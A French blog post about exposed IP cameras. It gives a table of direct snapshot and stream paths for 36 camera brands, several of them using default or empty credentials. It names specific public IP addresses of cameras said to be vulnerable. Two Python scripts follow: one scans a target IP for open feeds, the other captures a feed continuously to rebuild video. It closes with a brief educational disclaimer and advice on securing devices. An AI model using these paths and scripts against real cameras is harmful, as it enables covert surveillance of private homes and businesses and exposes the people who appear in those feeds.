Il y a des découvertes qui font froid dans le dos, surtout lorsqu’elles touchent à notre vie privée. Un soir, alors que je parcourais le web à la recherche de failles de sécurité, je suis tombé sur un constat troublant : des centaines de milliers de caméras IP, installées partout dans le monde, sont accessibles publiquement… souvent sans même que leurs propriétaires ne s’en doutent.

Quand la sécurité passe à la trappe

La plupart de ces caméras sont livrées avec une interface web, protégée par une page de connexion. Mais trop souvent, les utilisateurs oublient de modifier les identifiants par défaut fournis par le constructeur. Résultat : n’importe qui, avec un peu de curiosité, peut accéder à des flux vidéo privés.
Et même lorsque les identifiants sont changés, certains modèles souffrent de failles qui permettent de contourner la sécurité et d’accéder directement au flux vidéo.

Prenons un exemple concret : une caméra Hi3516, accessible sur l’IP 46.8.54.190:81.

Flux vidéo de la caméra

Cartographie des vulnérabilités : 36 modèles dans le viseur

Pour mieux comprendre l’étendue du problème, j’ai mené mes propres recherches et dressé un tableau des modèles vulnérables et des chemins d’accès aux flux vidéo.
Voici un extrait du tableau :

Modèle Chemin de la vulnérabilité
Android-IPWebcam http://ip:port/shot.jpg?rnd=654321
Axis http://ip:port/mjpg/video.mjpg
Axis2 http://ip:port/axis-cgi/mjpg/video.cgi?camera=&resolution=640x480
AxisMkII http://ip:port/jpg/image.jpg?COUNTER
BlueIris http://ip:port/image/Index?time=0
Bosch http://ip:port/snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER
Canon http://ip:port/-wvhttp-01-/GetOneShot?image_size=640x480&frame_count=1000000000
ChannelVision http://ip:port/GetData.cgi?CH=1
Dahua http://ip:port/cgi-bin/snapshot.cgi
Defeway http://ip:port/cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER
DLink http://ip:port/video/mjpg.cgi
DLink-DCS-932 http://ip:port/mjpeg.cgi
Foscam http://ip:port/videostream.cgi?user=admin&pwd=
FoscamIPCam http://ip:port/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER
Fullhan http://ip:port/cgi-bin/snapshot.cgi?COUNTER
GK7205 (non documenté)
Hi3516 http://ip:port/webcapture.jpg?command=snap&channel=1?COUNTER
Linksys http://ip:port/img/video.mjpeg
Megapixel http://ip:port/jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER
Mobotix http://ip:port/cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER
Motion (non documenté)
Panasonic http://ip:port/SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER
PanasonicHD http://ip:port/cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER
Sony http://ip:port/oneshotimage1?COUNTER
Sony-CS3 http://ip:port/image?speed=0
StarDot http://ip:port/nph-jpeg.cgi?0
Streamer http://ip:port/?action=stream
SunellSecurity http://ip:port/onvif/snapshot/1/11
Toshiba http://ip:port/__live.jpg?&&&COUNTER
TPLink http://ip:port/jpg/image.jpg?COUNTER
Vije http://ip:port/asp/video.cgi
Vivotek http://ip:port/cgi-bin/viewer/video.jpg?r=COUNTER
WebcamXP http://ip:port/cam_1.cgi
WIFICam (non documenté)
WYM (non documenté)
Yawcam http://ip:port/out.jpg?q=30&id=0.1317044913727916&r=COUNTER

Comme vous pouvez le constater, il existe des chemins d’accès directs à la plupart des flux vidéo, souvent sans authentification supplémentaire.

La preuve par l’exemple : analyse d’une caméra vulnérable

Pour mieux illustrer le problème, j’ai réalisé un scan Nmap sur l’IP vulnérable 90.189.182.80 :

Scan nmap

On observe que plusieurs ports sont ouverts, ce qui multiplie les points d’entrée potentiels.
Même si la plupart des constructeurs ont mis en place des pages de connexion :

Page de connexion d'une caméra

…il s’avère que ces protections sont parfois inefficaces, comme le montre ce test :

Flux vidéo de la caméra

Ici, le modèle Fullhan est clairement identifié grâce à l’URI, et la présence d’une interface Herospeed sur un autre port confirme l’origine de la solution.

Interface Herospeed

Automatiser la détection : un script pour révéler les failles

Pour aller plus loin, j’ai développé un script Python qui automatise la détection des vulnérabilités sur une IP donnée.
Ce script teste les chemins connus pour chaque modèle et affiche les flux accessibles.

import requests, time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style

init()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Liste des modèles vulnérables
model = ["Android-IPWebcam", "Axis", "Axis2", "AxisMkII", "BlueIris", "Bosch", "Canon", "ChannelVision", "Dahua", "Defeway", "DLink", "DLink-DCS-932", "Foscam", "FoscamIPCam", "Fullhan", "GK7205", "Hi3516", "Linksys", "Megapixel", "Mobotix", "Motion", "Panasonic", "PanasonicHD", "Sony", "Sony-CS3", "StarDot", "Streamer", "SunellSecurity", "Toshiba", "TPLink", "Vije", "Vivotek", "WebcamXP", "WIFICam", "WYM", "Yawcam"]
# Liste des URIs accessibles
uri_vuln = ["shot.jpg?rnd=654321", "mjpg/video.mjpg", "axis-cgi/mjpg/video.cgi?camera=&resolution=640x480", "jpg/image.jpg?COUNTER", "image/Index?time=0", "snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER", "GetOneShot?image_size=640x480&frame_count=1000000000", "GetData.cgi?CH=1", "cgi-bin/snapshot.cgi", "cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER", "video/mjpg.cgi", "mjpeg.cgi", "videostream.cgi?user=admin&pwd=", "cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER", "cgi-bin/snapshot.cgi?COUNTER", "","webcapture.jpg?command=snap&channel=1?COUNTER", "img/video.mjpeg", "jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER", "cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER", "", "SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER", "cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER", "oneshotimage1?COUNTER", "image?speed=0", "nph-jpeg.cgi?0", "?action=stream", "onvif/snapshot/1/11", "__live.jpg?&&&COUNTER", "jpg/image.jpg?COUNTER", "asp/video.cgi", "cgi-bin/viewer/video.jpg?r=COUNTER", "cam_1.cgi", "", "", "out.jpg?q=30&id=0.1317044913727916&r=COUNTER"]

# Fonction qui va tester si les URIs sont accessibles
def scan_cam(ip):
	for i in range(len(model)):
		try:
			url = f"http://{ip}/{uri_vuln[i]}"
			if(uri_vuln[i] != ""):
				response = requests.head(url, verify=False, timeout=1)
			if(response.status_code == 200):
				test_cam = requests.get(url)
				if "login" not in str(test_cam.text):
					print(Fore.GREEN + f"Modèle de la caméra: {model[i]} \n - Flux de la caméra: {url}" + Fore.GREEN)
			else:
				print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)
		except:
			print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)

if __name__ == "__main__":
	# Affichage du nombre total de modèles vulnérables
	print(f"Total de modèles vulnérables {len(model)}")
	# Demande pour spécifier l'IP
	ip = input("IP: ")
	# Demande pour spécifier le PORT
	port = input("PORT: ")
	ip += ":" + port
	# Appel de la fonction de scan
	scan_cam(ip)

N’oubliez pas d’installer les dépendances avant d’exécuter le script
pip install requests colorama

De l’image à la vidéo : reconstituer le flux

Souvent, les chemins vulnérables donnent accès à des images fixes, pas à un flux vidéo continu. Mais en téléchargeant ces images à intervalle régulier, il est possible de reconstituer une vidéo.
Voici un script qui enregistre les images chaque seconde et les affiche en temps réel avec OpenCV :

import os, requests, time, cv2
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

save_path = "capture.jpg"

# Fonction qui va afficher le flux vidéo
def read_cam(url):
    print(f"\nChemin du flux vidéo: {os.getcwd()}/{save_path}")
    while True:
        flux_img = cv2.imread(f"{os.getcwd()}/{save_path}", cv2.IMREAD_COLOR)
        print(time.ctime())
        img = requests.get(url)
        f = open(save_path, "wb")
        f.write(img.content)
        f.close()
        cv2.imshow("Affichage Flux", flux_img)
        key = cv2.waitKey(1)
        if key & 0xFF == ord('q'):
            break
    cv2.destroyAllWindows()

if __name__ == "__main__":
	# Demande de spécifier l'url du flux
	url = input("Flux de la caméra: ")
	# Appel de la fonction de lecture d'un flux
	read_cam(url)

Installez les dépendances nécessaires avant d’exécuter le script
pip install requests opencv-python

Output de l'affichage du flux vidéo

Limites, évolutions et bonnes pratiques

Il reste encore des modèles non documentés ou mis à jour par les constructeurs, ce qui peut rendre certaines vulnérabilités obsolètes.
Mais cette exploration montre à quel point la sécurité des objets connectés est souvent négligée.

Je souhaite toutefois mentionner que ce projet de cybersécurité a été entrepris à des fins strictement éducatives, dans le but de promouvoir la sensibilisation à la sécurité informatique.

Protégez vos équipements, changez les mots de passe par défaut, mettez à jour vos firmwares… et n’oubliez jamais que la sécurité commence par la vigilance !